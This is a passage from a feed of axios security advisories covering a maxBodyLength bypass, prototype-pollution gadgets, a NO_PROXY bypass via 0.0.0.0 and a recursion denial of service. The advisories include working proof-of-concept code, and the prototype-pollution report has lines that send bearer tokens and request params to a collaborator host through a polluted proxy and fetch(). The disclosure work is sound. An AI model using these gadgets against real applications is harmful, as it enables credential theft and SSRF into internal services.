WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n  req.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n  req.on('end', () =\u003e {\n    res.writeHead(200, { 'content-type': 'application/json' });\n    res.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n  const chunk = new Uint8Array(64 * 1024).fill(0x42);\n  let remaining = totalBytes;\n\n  return new ReadableStream({\n    pull(controller) {\n      if (remaining \u003c= 0) {\n        controller.close();\n        return;\n      }\n\n      const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      controller.enqueue(next);\n    },\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${port}/upload`,\n    makeReadableStream(PAYLOAD_BYTES),\n    {\n      adapter: 'fetch',\n      maxBodyLength: LIMIT,\n      headers: { 'content-type': 'application/octet-stream' },\n    }\n  );\n\n  console.log(response.data);\n} finally {\n  server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n  const getBodyLength = async (body) =\u003e {\n    if (body == null) {\n      return 0;\n    }\n    if (utils.isBlob(body)) {\n      return body.size;\n    }\n    if (utils.isSpecCompliantForm(body)) {\n      const _request = new Request(platform.origin, {\n        method: 'POST',\n        body,\n      });\n      return (await _request.arrayBuffer()).byteLength;\n    }\n    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n      return body.byteLength;\n    }\n    if (utils.isURLSearchParams(body)) {\n      body = body + '';\n    }\n    if (utils.isString(body)) {\n      return (await encodeText(body)).byteLength;\n    }\n  };\n  const resolveBodyLength = async (headers, body) =\u003e {\n    const length = utils.toFiniteNumber(headers.getContentLength());\n    return length == null ? getBodyLength(body) : length;\n  };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n      // Enforce maxBodyLength against the outbound request body before dispatch.\n      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than\n      // maxBodyLength limit'). Skip when the body length cannot be determined\n      // (e.g. a live ReadableStream supplied by the caller).\n      if (hasMaxBodyLength \u0026\u0026 method !== 'get' \u0026\u0026 method !== 'head') {\n        const outboundLength = await resolveBodyLength(headers, data);\n        if (\n          typeof outboundLength === 'number' \u0026\u0026\n          isFinite(outboundLength) \u0026\u0026\n          outboundLength \u003e maxBodyLength\n        ) {\n          throw new AxiosError(\n            'Request body larger than maxBodyLength limit',\n            AxiosError.ERR_BAD_REQUEST,\n            config,\n            request\n          );\n        }\n      }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n        if (_request.body) {\n          const [onProgress, flush] = progressEventDecorator(\n            requestContentLength,\n            progressEventReducer(asyncDecorator(onUploadProgress))\n          );\n          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n        }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n  req.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n  req.on('end', () =\u003e {\n    res.writeHead(200, { 'content-type': 'application/json' });\n    res.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  req.on('error', () =\u003e {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n  let remaining = totalBytes;\n  return new ReadableStream({\n    pull(controller) {\n      if (remaining \u003c= 0) {\n        controller.close();\n        return;\n      }\n      const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      controller.enqueue(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(\n      `http://127.0.0.1:${port}/upload`,\n      makeReadableStream(PAYLOAD_BYTES),\n      {\n        adapter: 'fetch',\n        maxBodyLength: LIMIT,\n        headers: { 'content-type': 'application/octet-stream' },\n        // No content-length: the stream's total length is unknown ahead of\n        // dispatch, which is exactly the vulnerable code path.\n      }\n    );\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err \u0026\u0026 (err.code || err.message) };\n  }\n\n  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');\n  console.log('axios result:', JSON.stringify(result));\n\n  const ok =\n    result \u0026\u0026\n    result.status === 200 \u0026\u0026\n    result.data \u0026\u0026\n    typeof result.data === 'object' \u0026\u0026\n    result.data.received === PAYLOAD_BYTES \u0026\u0026\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime's network stack and against upstream peers.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:27:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","references":["https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67317","https://nvd.nist.gov/vuln/detail/CVE-2026-68947","https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream","https://github.com/advisories/GHSA-jqh4-m9w3-8hp9"],"source_kind":"github","identifiers":["GHSA-jqh4-m9w3-8hp9","CVE-2026-67317"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-09-28T20:01:47.390Z","epss_percentage":0.00602,"epss_percentile":0.46542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG","url":"https://github.com/advisories/GHSA-mmx7-hfxf-jppx","title":"Axios: Prototype pollution gadgets can alter axios request construction","description":"## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n\n  req.on('data', chunk =\u003e {\n    body += chunk;\n  });\n\n  req.on('end', () =\u003e {\n    res.writeHead(200, {'content-type': 'application/json'});\n    res.end(JSON.stringify({body, headers: req.headers}));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n  console.log(res.data.body); // \"INJECTED\"\n  console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n  delete Object.prototype.data;\n  await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted  function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n  return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:25:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67316","https://nvd.nist.gov/vuln/detail/CVE-2026-68944","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods","https://github.com/advisories/GHSA-mmx7-hfxf-jppx"],"source_kind":"github","identifiers":["GHSA-mmx7-hfxf-jppx","CVE-2026-67316"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-09-25T12:01:49.654Z","epss_percentage":0.00424,"epss_percentile":0.33983,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003c 0.33.0"},{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbXg3LWhmeGYtanBweM4ABcRG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF","url":"https://github.com/advisories/GHSA-f4gw-2p7v-4548","title":"Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios","description":"## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:\u003cport\u003e/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:\u003cport\u003e/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =\u003e\n  new Promise((resolve) =\u003e {\n    const server = http.createServer(handler);\n    server.listen(0, host, () =\u003e resolve(server));\n  });\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst origin = await listen((req, res) =\u003e res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) =\u003e {\n  proxyRequests += 1;\n  res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n  console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n  await close(origin);\n  await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/\u003cpath\u003e` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`\u003e= 1.15.0, \u003c= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);   // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) =\u003e {\n  const parts = host.split('.');\n  if (parts.length !== 4) return false;\n  if (parts[0] !== '127') return false;   // ← 0.0.0.0: parts[0] = '0' → false\n  return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // ← '0.0.0.0' not in set\n  if (isIPv4Loopback(host)) return true;           // ← returns false for 0.0.0.0\n  return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) =\u003e {\n  const parts = host.split('.');\n  if (parts.length !== 4) return false;\n  if (parts[0] !== '127') return false;\n  return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;\n  return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname);    // → '0.0.0.0'   ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname);  // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0'));   // → false  ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true   ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0     ← NOT normalised by URL parser\n127.0.0.1   ← octal normalised correctly\n127.0.0.1   ← decimal normalised correctly\nfalse       ← 0.0.0.0 not detected as loopback  ⚠\ntrue        ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/\u003cpath\u003e. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) =\u003e host === '0.0.0.0';\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;\n  if (isIPv4Loopback(host)) return true;\n  if (isIPv4Unspecified(host)) return true;   // add this line\n  return isIPv6Loopback(host);\n};\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:20:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67315","https://nvd.nist.gov/vuln/detail/CVE-2026-68946","https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via","https://github.com/advisories/GHSA-f4gw-2p7v-4548"],"source_kind":"github","identifiers":["GHSA-f4gw-2p7v-4548","CVE-2026-67315"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.755Z","updated_at":"2026-09-25T12:01:49.655Z","epss_percentage":0.00455,"epss_percentile":0.36753,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.31.0, \u003c 0.33.0"},{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNGd3LTJwN3YtNDU0OM4ABcRF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Mmg5LTgyNnctY2d2M84ABcPQ","url":"https://github.com/advisories/GHSA-42h9-826w-cgv3","title":"Axios: Excessive recursion in formDataToJSON can cause denial of service","description":"## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as 